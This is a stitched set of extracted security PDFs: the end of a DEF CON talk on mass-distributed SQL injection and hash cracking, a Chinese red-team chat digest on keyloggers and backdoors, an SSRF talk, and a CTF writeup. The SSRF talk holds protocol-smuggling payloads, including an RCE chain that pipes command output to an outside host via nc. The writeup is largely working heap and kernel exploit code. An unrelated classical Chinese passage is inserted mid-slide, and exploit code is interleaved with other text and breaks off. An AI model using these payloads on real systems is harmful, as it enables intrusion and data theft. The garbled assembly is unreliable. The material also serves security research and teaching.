standpoint – Always think before you code. You could waste time distributing something that might not help you that much to have distributed – In the case of PunkSCAN we did some pre-research to ensure that distributed fuzzing would help us (fuzzing is highly CPU and memory-intensive – bandwidth is a minor consideration – even for remote fuzzing) DEF CON 21 How to get your own • You can download PunkSCAN from BitBucket – We’ll give you a link at the end of the talk • You can write your own pretty easily: – Pick your favorite URL fuzzing library (there’s a bunch out there) – Grab a library that will help you abstract the process of writing a mapper and reducer for Hadoop (we used the MRJob Python library in PunkSCAN) – Write a mapper and reducer leveraging the libraries – Run it across your cluster and watch it fly • It really is that simple – Though admittedly testing and debugging is a pain DEF CON 21 Use Case 2: Distributed Attacks • Why distribute exploitation? – It’s fun – You can conduct large-scale automated attacks in a short period of time – owning massive targets in a short time (such as entire countries) • We’ll be looking at the example of automated SQL Injection attacks by distributing everyone’s favorite automated SQLi tool, SQLMap DEF CON 21 Use Case 2: Distributed Attacks • The basics – We use SQLMap’s code as a “library” of sorts – We pick an abstraction library for writing a MapReduce job • In this case we picked the MRJob Python library • We write a mapper • We write a reducer • We run the job • You may already notice a pattern – it’s all about writing a MapReduce job – To see our detailed Mapper and Reducer, please visit www.hyperiongray.com and check out our code downloads section DEF CON 21 Use Case 2: Distributed Attacks • Demo (against our cloud test environment) DEF CON 21 Use Case 2: Distributed Attacks • Notice the simplicity of the code and the few lines of code/customization required to run this • In the end, we end up with a bunch of stolen databases in Hadoops HDFS – HDFS is a central file system that Hadoop creates – it is accessible via any of the nodes – How much easier can it get? We don’t even need to worry about which node we’re on to store or retrieve data • Now that we have all of these stolen databases, now what? DEF CON 21 Use Case 3: Distributing Post-Exploitation Activities • Why distribute? • Attacking a lot of targets at once will leave the attacker with a ton of extracted data • Password hashes to crack, data to analyze and parse • From the vulnerabilities we’ve seen in PunkSPIDER this could be a LOT of data especially for password cracking – we need a better solution than single node cracking • Why not repurpose old, commodity hardware to build your own cracking cluster? DEF CON 21 Use Case 3: Distributing Post-Exploitation Activities • Admittedly, this is one of the more complex tasks – We went with Java instead of Python (for performance) – Partitioning the job is non-trivial • Luckily, you can just download our cracker PunkCRACK, free and open source, and use it and not worry too much about the internals • However, for those of you more curious folks, you can see our detailed Mapper and Reducer at www.hyperiongray.com in the code downloads section. DEF CON 21 Use Case 3: Distributing Post-Exploitation Activities • Demo (again, against our own test data in our own environment) DEF CON 21 Bringing It All Together • We’ve thoroughly enjoyed proving the concept here, but what does this mean for you? – Leveraging distributed computing from an offensive perspective gives you the power to run massive attack scenarios – this lets you build custom tools to do that using open source technology and commodity hardware – Imagine “pen testing” an entire country – it’s entirely feasible with the tools and concepts I’ve presented • We think the security implications of this concept are broad – if we can feasibly simulate a massive attack scenario, then we can better study this and prepare for it. DEF CON 21 Wrap-up • Follow me on Twitter: @DotSlashPunk – I’ll answer your questions if you are following me (personal questions answered on a case-by-case basis…) • See more about us and more details on this presentation at http://www.hyperiongray.com • See Check out PunkSPIDER at http://punkspider.hyperiongray.com DEF CON 21 Thanks • Thanks to: – Tomas – Mark – The SQLMap project (and everyone involved) – The Apache Software Foundation (and the Nutch and Hadoop community) – And of course THANKS to all of you for coming to my talk! – DEF CON 21 and everyone involved DEF CON 21	pdf
群聊精华 2021.7.27-2021.8.1 @haya问：密码喷洒的密码，感觉字典是个大问题，大家有不错的这种强弱口令字典吗？ @wywwzjj： https://github.com/r35tart/RW_Password @L.N.： https://github.com/berzerk0/Probable-Wordlists https://github.com/kaonashi-passwords/Kaonashi @haya： https://github.com/L-codes/pwcrack-framework @山顶洞小霸王 Windows下net accounts 命令可以查密码策略 @Astartes 密码喷洒可以被设备监控到吧，基本上不到最后一步不用这个，内网搜集搜集信息做个密码本加上姓名+符合规则的弱口令。剩下的看运气了。 @大海问：cs自带的portscan扫描一个C段，段的每个ip都开启了110,25,143端口，很明显不正常，各位前辈们有遇到过这种情况吗？ @Breezy： 25和110 我本机如果开了火绒就会扫出来不是说本机开了火绒我就监听到了25和110 是通过火绒出口不管扫什么都会有25和110端口 @Se7en问：师傅们，工作组环境在一个08r2上我smbexe登陆成功用的hash是8bxxx ， lsass内存里抓出来administrator的hash是0a5cxxxx(找不到8bxxx)，而且这个机器抓到的有个用户的ntlm有三个，这是什么情况 @skrskrt：缓存的有可能是历史密码，正常 @L.N.: 改密码了一直没注销关机过 @路人甲问：师傅们，请问有无linux下比较好用的后门，主要是要简单安全还有持续化。 @tomato答： pupy @大海问：各位师傅你们好，晚辈请教一个概念问题，书中(c primer plus) 里说:ANSWER和try都是指针，我的疑问: ANSWER 不是常量吗？ try字符串吗？，指针的申明不应该是吗？为什么说 ANSWER和try都是指针 No. 1 / 3 @Astartes ANSWER 近似于 static const char ANSWER = "Grant"; 你进去调调就知道了，预处理的时候 define 定义的就都被替换了。 @skrtskrt #define ANSWER "Grant" 近似于 static const char* ANSWER = "Grant"; @L.N. 以前学c到指针的时候，老是搞不懂，后来学了内存相关知识，很多一下子就明白了，建议学指针之前可以看点内存相关知识，我看的是深入理解 c指针 @Hanamaki 1.用!=比较两个字符串是比较首地址 2.数组名大多数时候隐式转换成指向首元素的指针类型右值 @任我飞渡问：各位大佬，windows 有没有能跨用户session下键盘钩子的办法 L.N.答： CS是注入到指定用户的explorer.exe，然后开启键盘记录 @任我飞度：搞定了，注入进程被杀，写个目标用户启动的计划任务。 @B1ngDa0 搞个system权限的就可以注入，system注入目标用户 @skrtskrt dll 也可以做键盘记录，用rundll 32 去启，而且不一定要用钩子。 @山顶小霸王 dll还是exe，还有用什么去启跟键盘记录没啥必然的联系吧或者你想表达的是可信的进程去启动 @skrtskrt 对，https://blog.csdn.net/zhou191954/article/details/43309707 No. 2 / 3 @Patrilic https://blog.csdn.net/sinat_24229853/article/details/47046581 @lengyi https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-la nd/ No. 3 / 3	pdf
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! Orange Tsai Taiwan No.1 About Orange Tsai The most professional red team in Taiwan About Orange Tsai The largest hacker conference in Taiwan founded by chrO.ot About Orange Tsai Speaker - Speaker at several security conferences HITCON, WooYun, AVTokyo CTFer - CTFs we won champions / in finalists (as team HITCON) DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF Bounty Hunter - Vendors I have found Remote Code Execution Facebook, GitHub, Uber, Apple, Yahoo, Imgur About Orange Tsai Agenda Introduction Make SSRF great again Issues that lead to SSRF-Bypass Issues that lead to protocol smuggling Case studies and Demos Mitigations What is SSRF? Server Side Request Forgery Bypass Firewall, Touch Intranet Compromise Internal services Struts2 Redis Elastic Protocol Smuggling in SSRF Make SSRF more powerful Protocols that are suitable to smuggle HTTP based protocol Elastic, CouchDB, Mongodb, Docker Text-based protocol FTP, SMTP, Redis, Memcached Quick Fun Example http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 httplib requests urllib Quick Fun Example Quick Fun Example CR-LF Injection on HTTP protocol Smuggling SMTP protocol over HTTP protocol http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM… >> GET / << 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1] >> HELO orange.tw Connection closed SMTP Hates HTTP Protocol It Seems Unexploitable Gopher Is Good What If There Is No Gopher Support? HTTPS What Won't Be Encrypted in a SSL Handshake? Quick Fun Example https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 \| xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 \| xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 \| xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 >> ...5./.0.,.=.j.8.2.........0...+127.0.0.1 << 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1 >> HELO orange.tw << 250 ubuntu Hello localhost [127.0.0.1], please meet you >> MAIL FROM: <[email protected]> << 250 2.1.0 <[email protected]>... Sender ok Make SSRF Great Again URL Parsing Issues It's all about the inconsistency between URL parser and requester Why validating a URL is hard? 1. Specification in RFC2396, RFC3986 but just SPEC 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations 《天中記·卷五六》引《徂異記》：「沙中有一婦人，紅裳雙袒，髻鬟亂肘，微有紅鬣，查命水工以篙擔水中，勿令傷婦人，得水偃仰，復身望查，拜手感舞而沒。水工曰：『某在海上，未省此何物？』查曰：『此人魚也！』」 URL Parsing Issues It's all about the inconsistency between URL parser and requester Why validating a URL is hard? 1. Specification in RFC2396, RFC3986 but just SPEC 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations URL Components(RFC 3986) scheme authority path query fragment foo://example.com:8042/over/there?name=bar#nose URL Components(RFC 3986) foo://example.com:8042/over/there?name=bar#nose (We only care about HTTP HTTPS) (It's complicated) (I don't care) (I don't care) scheme authority (It's complicated) path fragment query Big Picture Libraries/Vulns CR-LF Injection URL Parsing Path Host SNI Port Injection Host Injection Path Injection Python httplib 💀 💀 💀 Python urllib 💀 💀 💀 Python urllib2 💀 💀 Ruby Net::HTTP 💀 💀 💀 Java net.URL 💀 💀 Perl LWP 💀 💀 NodeJS http 💀 💀 PHP http_wrapper 💀 💀 Wget 💀 💀 cURL 💀 💀 Consider the following PHP code $url = 'http://' . $_GET[url]; $parsed = parse_url($url); if ( $parsed[port] == 80 && $parsed[host] == 'google.com') { readfile($url); } else { die('You Shall Not Pass'); } Abusing URL Parsers http://127.0.0.1:11211:80/ Abusing URL Parsers http://127.0.0.1:11211:80/ PHP readfile Perl LWP PHP parse_url Perl URI Abusing URL Parsers RFC3986 authority = [ userinfo "@" ] host [ ":" port ] port = DIGIT host = IP-literal / IPv4address / reg-name reg-name = ( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "" / "+" / "," / ";" / "=" Abusing URL Parsers http://google.com#@evil.com/ Abusing URL Parsers http://google.com#@evil.com/ PHP parse_url PHP readfile Abusing URL Parsers Several programing languages suffered from this issue cURL, PHP, Python RFC3968 section 3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI Abusing URL Parsers How About cURL? http://[email protected]:[email protected]/ Abusing URL Parsers http://[email protected]:[email protected]/ cURL libcurl NodeJS URL Perl URI Go net/url PHP parse_url Ruby addressable Abusing URL Parsers Abusing URL Parsers cURL / libcurl PHP parse_url 💀 Perl URI 💀 Ruby uri Ruby addressable 💀 NodeJS url 💀 Java net.URL Python urlparse Go net/url 💀 Report the bug to cURL team and get a patch quickly Bypass the patch with a space Abusing URL Parsers http://[email protected] @google.com/ Report Again But… "curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input" Report Again But… "curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input" Won't Fix But previous patch still applied on cURL 7.54.0 Consider the following NodeJS code NodeJS Unicode Failure var base = "http://orange.tw/sandbox/"; var path = req.query.path; if (path.indexOf("..") == -1) { http.get(base + path, callback); } NodeJS Unicode Failure http://orange.tw/sandbox/ＮＮ/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/../passwd / is new ../ (in NodeJS HTTP) (U+FF2E) Full width Latin capital letter N What the ____ NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Encode the New-lines as URL encoding http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n $ nc -vvlp 6379 >> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Break the protections by Unicode U+FF0D U+FF0A http://127.0.0.1:6379/－＊SLAVEOF＠orange.tw＠6379－＊ $ nc -vvlp 6379 >> GET / >> SLAVEOF orange.tw 6379 >> HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close GLibc NSS Features In Glibc source code file resolv/ns_name.c#ns_name_pton() /% * Convert an ascii string into an encoded domain name as per RFC1035. / int ns_name_pton(const char src, u_char dst, size_t dstsiz) GLibc NSS Features RFC1035 - Decimal support in gethostbyname() void main(int argc, char argv) { char host = "or\\097nge.tw"; struct in_addr addr = gethostbyname(host)->h_addr; printf("%s\n", inet_ntoa(addr)); } …50.116.8.239 GLibc NSS Features RFC1035 - Decimal support in gethostbyname() >>> import socket >>> host = '\\o\\r\\a\\n\\g\\e.t\\w' >>> print host \o\r\a\n\g\e.t\w >>> socket.gethostbyname(host) '50.116.8.239' GLibc NSS Features ping hitcon.org ping '\h\i\t\c\o\n.\o\r\g' ping '\104\105\116\099\111\110.\111\114\103' GLibc NSS Features void main(int argc, char *argv) { struct addrinfo res; getaddrinfo("127.0.0.1 foo", NULL, NULL, &res); struct sockaddr_in ipv4 = (struct sockaddr_in )res->ai_addr; printf("%s\n", inet_ntoa(ipv4->sin_addr)); } …127.0.0.1 Linux getaddrinfo() strip trailing rubbish followed by whitespaces GLibc NSS Features Linux getaddrinfo() strip trailing rubbish followed by whitespaces Lots of implementations relied on getaddrinfo() >>> import socket >>> socket.gethostbyname("127.0.0.1\r\nfoo") '127.0.0.1' GLibc NSS Features Exploit Glibc NSS features on URL Parsing http://127.0.0.1\tfoo.google.com http://127.0.0.1%09foo.google.com http://127.0.0.1%2509foo.google.com GLibc NSS Features Exploit Glibc NSS features on URL Parsing Why this works? Some library implementations decode the URL twice… http://127.0.0.1%2509foo.google.com Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header $ curl -vvv http://I-am-a-very-very-weird-domain.com >> GET / HTTP/1.1 >> Host: I-am-a-very-very-weird-domain.com >> User-Agent: curl/7.53.1 >> Accept: / GLibc NSS Features GLibc NSS Features Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/ $ nc -vvlp 6379 >> GET / HTTP/1.1 >> Host: 127.0.0.1 >> SLAVEOF orange.tw 6379 >> :6379 >> Connection: close GLibc NSS Features https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/ $ nc -vvlp 443 >> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB.. >> .....5'%"127.0.0.1 >> SET foo 0 60 5 Exploit Glibc NSS features on Protocol Smuggling SNI Injection - Embed hostname in SSL Client Hello Simply replace HTTP with HTTPS GLibc NSS Features Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? _is_illegal_header_value = \ re.compile(rb'\n(?![ \t])\|\r(?![ \t\n])').search … if _is_illegal_header_value(values[i]): raise ValueError('Invalid header value %r' % (values[i],)) Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? Bypass with a leading space >>> import urllib >>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80' >>> urllib.urlopen(url) GLibc NSS Features Break the Patch of Python CVE-2016-5699 Exploit with a leading space Thanks to Redis and Memcached GLibc NSS Features http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/ >> GET / HTTP/1.0 << -ERR wrong number of arguments for 'get' command >> Host: 0 << -ERR unknown command 'Host:' >> SLAVEOF orange.tw 6379 << +OK Already connected to specified master Abusing IDNA Standard The problem relied on URL parser and URL requester use different IDNA standard IDNA2003 UTS46 IDNA2008 ⓖⓞⓞⓖⓛⓔ.com google.com google.com Invalid g\u200Doogle.com google.com google.com xn--google-pf0c.com baß.de bass.de bass.de xn--ba-hia.de Abusing IDNA Standard >> "ß".toLowerCase() "ß" >> "ß".toUpperCase() "SS" >> ["ss", "SS"].indexOf("ß") false >> location.href = "http://wordpreß.com" The problem relied on URL parser and URL requester use different IDNA standard Cat Studies Abusing URL Parsers - Case Study WordPress 1. Paid lots of attentions on SSRF protections 2. We found 3 distinct ways to bypass the protections 3. Bugs have been reported since Feb. 25, 2017 but still unpatched 4. For the Responsible Disclosure Process, I will use MyBB as following case study Abusing URL Parsers - Case Study The main concept is finding different behaviors among URL parser, DNS checker and URL requester URL parser DNS checker URL requester WordPress parse_url() gethostbyname() cURL vBulletin parse_url() None cURL MyBB parse_url() gethostbynamel() cURL First priority Abusing URL Parsers - Case Study SSRF-Bypass tech #1 Time-of-check to Time-of-use problem 1 $url_components = @parse_url($url); 2 if( 3 !$url_components \|\| 4 empty($url_components['host']) \|\| 5 (!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) \|\| 6 (!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443))) 7 ) { return false; } 8 9 $addresses = gethostbynamel($url_components['host']); 10 if($addresses) { 11 // check addresses not in disallowed_remote_addresses 12 } 13 14 $ch = curl_init(); 15 curl_setopt($ch, CURLOPT_URL, $url); 16 curl_exec($ch); Abusing URL Parsers - Case Study 1. gethostbyname() and get 1.2.3.4 2. Check 1.2.3.4 not in blacklist 3. Fetch URL by curl_init() and cURL query DNS again! 4. 127.0.0.1 fetched, SSRF! Q: foo.orange.tw A: 1.2.3.4 Q: foo.orange.tw A: 127.0.0.1 http://foo.orange.tw/ Hacker MyBB DNS 1 2 4 3 Abusing URL Parsers - Case Study SSRF-Bypass tech #2 The inconsistency between DNS checker and URL requester There is no IDNA converter in gethostbynamel(), but cURL has 1 $url = 'http://ß.orange.tw/'; // 127.0.0.1 2 3 $host = parse_url($url)[host]; 4 $addresses = gethostbynamel($host); // bool(false) 5 if ($address) { 6 // check if address in white-list 7 } 8 9 $ch = curl_init(); 10 curl_setopt($ch, CURLOPT_URL, $url); 11 curl_exec($ch); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in PHP 7.0.13 …127.0.0.1:11211 fetched $url = 'http://127.0.0.1:11211#@google.com:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1) $url = 'http://[email protected]:[email protected]:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); …127.0.0.1:11211 fetched Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester cURL won't fix :) $url = 'http://[email protected] @google.com:11211/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(11211) curl($url); …127.0.0.1:11211 fetched Protocol Smuggling - Case Study GitHub Enterprise Standalone version of GitHub Written in Ruby on Rails and code have been obfuscated Protocol Smuggling - Case Study About Remote Code Execution on GitHub Enterprise Best report in GitHub 3 rd Bug Bounty Anniversary Promotion! Chaining 4 vulnerabilities into RCE Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks What is Webhooks? Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks Fetching URL by gem faraday Blacklisting Host by gem faraday-restrict-ip-addresses Blacklist localhost, 127.0.0.1… ETC Simply bypassed with a zero http://0/ Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks There are several limitations in this SSRF Not allowed 302 redirection Not allowed scheme out of HTTP and HTTPS No CR-LF Injection in faraday Only POST method Protocol Smuggling - Case Study Second bug - SSRF in internal Graphite service GitHub Enterprise uses Graphite to draw charts Graphite is bound on 127.0.0.1:8000 url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() : ( SSRF Execution Chain Protocol Smuggling - Case Study Third bug - CR-LF Injection in Graphite Graphite is written in Python The implementation of the second SSRF is httplib.HTTPConnection As I mentioned before, httplib suffers from CR-LF Injection We can smuggle other protocols with URL http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:6379/%0D%0ASET… Protocol Smuggling - Case Study Fourth bug - Unsafe Marshal in Memcached gem GitHub Enterprise uses Memcached gem as the cache client All Ruby objects stored in cache will be Marshal-ed Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email [email protected] &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data $12,500 Demo GitHub Enterprise < 2.8.7 Remote Code Execution https://youtu.be/GoO7_lCOfic Mitigations Application layer Use the only IP and hostname, do not reuse the input URL Network layer Using Firewall or NetWork Policy to block Intranet traffics Projects SafeCurl by @fin1te Advocate by @JordanMilne Summary New Attack Surface on SSRF-Bypass URL Parsing Issues Abusing IDNA Standard New Attack Vector on Protocol Smuggling Linux Glibc NSS Features NodeJS Unicode Failure Case Studies Further works URL parser issues in OAuth URL parser issues in modern browsers URL parser issues in Proxy server … Acknowledgements 1. Invalid URL parsing with '#' by @bagder 2. URL Interop by @bagder 3. Shibuya.XSS #8 by @mala 4. SSRF Bible by @Wallarm 5. Special Thanks Allen Own Birdman Chiu Henry Huang Cat Acknowledgements https://twitter.com/harapeko_lady/status/743463485548355584 https://tuswallpapersgratis.com/gato-trabajando/ https://carpet.vidalondon.net/cat-in-carpet/ Some Meme Websites… Thanks [email protected] @orange_8361	pdf
Nu1L StarCtf Writeup Nu1L StarCtf Writeup Pwn heap master hackme OOB babyshell girlfriend quicksort upxofcpp blind pwn Web Echohub 996 Game mywebsql Misc babyﬂash otaku Checkin She Sokoban homebrewEvtLoop— homebrewEvtLoop# Reverse Matr1x fanoGo yy Obfuscating Macros II Crypto babyprng babyprng2 notcurves notfeal Pwn heap master Status: Completed Tags: Pwn from pwn import * LOCAL = 0 VERSBOE = 1 if VERSBOE: context.log_level = 'debug' else: context.log_level = 'critical' if LOCAL: io = process('./heap_master', env={'LD_PRELOAD': './libc.so.6'}, aslr=False) else: io = remote('34.92.96.238', 60001) def add(size): io.sendlineafter('>> ', '1') io.sendlineafter('size: ', str(size)) def edit(off, size, content): io.sendlineafter('>> ', '2') io.sendlineafter('offset: ', str(off)) io.sendlineafter('size: ', str(size)) io.sendafter('content: ', content) def delete(off): io.sendlineafter('>> ', '3') io.sendlineafter('offset: ', str(off)) edit(0xc8, 8, p64(0x101)) edit(0x1c8, 8, p64(0x31)) edit(0x1f8, 8, p64(0x31)) delete(0xd0) edit(0xd8, 2, '\xc0\xd7') add(0xf0) edit(0x8, 8, p64(0x1611)) edit(0x8+0x1610, 8, p64(0x31)) delete(0x10) edit(0x808, 0x10, p64(0x1611) + p64(0x00000000fbad1800)) add(0x1610-0x10) edit(0x8, 8, p64(0x1651)) edit(0x8+0x1650, 8, p64(0x31)) delete(0x10) io.recvn(0x10) leak_addr = u64(io.recvn(8)) print hex(leak_addr) libc_base = leak_addr - 0x39e683 print hex(libc_base) edit(0x8, 8, p64(0x3921)) edit(0x8+0x3920, 8, p64(0x31)) delete(0x10) payload = p64(libc_base+0x177df9) edit(0x10, len(payload), payload) add(0x3920-0x10) libc = ELF('./libc.so.6') # 0x0000000000177df9 : xchg ebp, edi ; jmp qword ptr [rdx] # 0x0000000000029933 : leave ; ret # 0x000000000001feea : pop rdi ; ret # 0x000000000001fe95 : pop rsi ; ret # 0x0000000000001b92 : pop rdx ; ret pop_rdi = libc_base+0x000000000001feea pop_rsi = libc_base+0x000000000001fe95 pop_rdx = libc_base+0x0000000000001b92 open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] data = libc_base + 0x39f000 edit(0, 8, p64(0x0000000000029933+libc_base)) payload = p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(data) + p64(pop_rdx) + p64(4) + p64(read_addr) payload += p64(pop_rdi) + p64(data) + p64(pop_rsi) + p64(0) + p64(open_addr) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(data+0x100) + p64(pop_rdx) + p64(0x100) + p64(read_addr) hackme Status: Completed Tags: Pwn hack_me Can you hack me? https://adworld.xctf.org.cn/media/uploads/task/ae8a640b05bb4223b30a385faed44962.zip possize+possize 0x2e0/dev/ptmxttytty leaktty gadget r10tty add rsp,0x200rop payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(data+0x100) + p64(pop_rdx) + p64(0x100) + p64(write_addr) edit(0x800, len(payload), payload) delete(0x800) io.send('flag') io.interactive() ssh [email protected] -p 10022 password: pwn 0xffffffff81003ea4 : lea rsp, qword ptr [r10 - 8] ; ret #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <signal.h> #define READ 0x30003 // #define EDIT 0x30002 // #define ALLOC 0x30000 #define FREE 0x30001 #define CRED_SIZE 0x78 #define FORK_NUM 20 #define u64 unsigned long long struct exp { size_t index; void* buf; size_t size; size_t pos; }exp1; static int is_fin = 0; static int uid = 0; static int idd[FORK_NUM] = {0}; char buf[0x100] = {0}; u64 leak_kernel = 0; u64 kernel_base = 0; u64 leak_heap = 0; u64 buf_addr = 0; u64 user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); } void print_hex(unsigned long long d) { for(int i=0;i<8;i++) { if(d[i] == 0x100) { if(((d[i+1] & 0xffff) == 0xde30) && !kernel_base) { leak_kernel = d[i+1]; kernel_base = leak_kernel - 450096; printf("[]leak kernel base %p\n",kernel_base); sleep(5); } } if(((d[i] & 0xfff) == 0x670) && !leak_heap) { leak_heap = 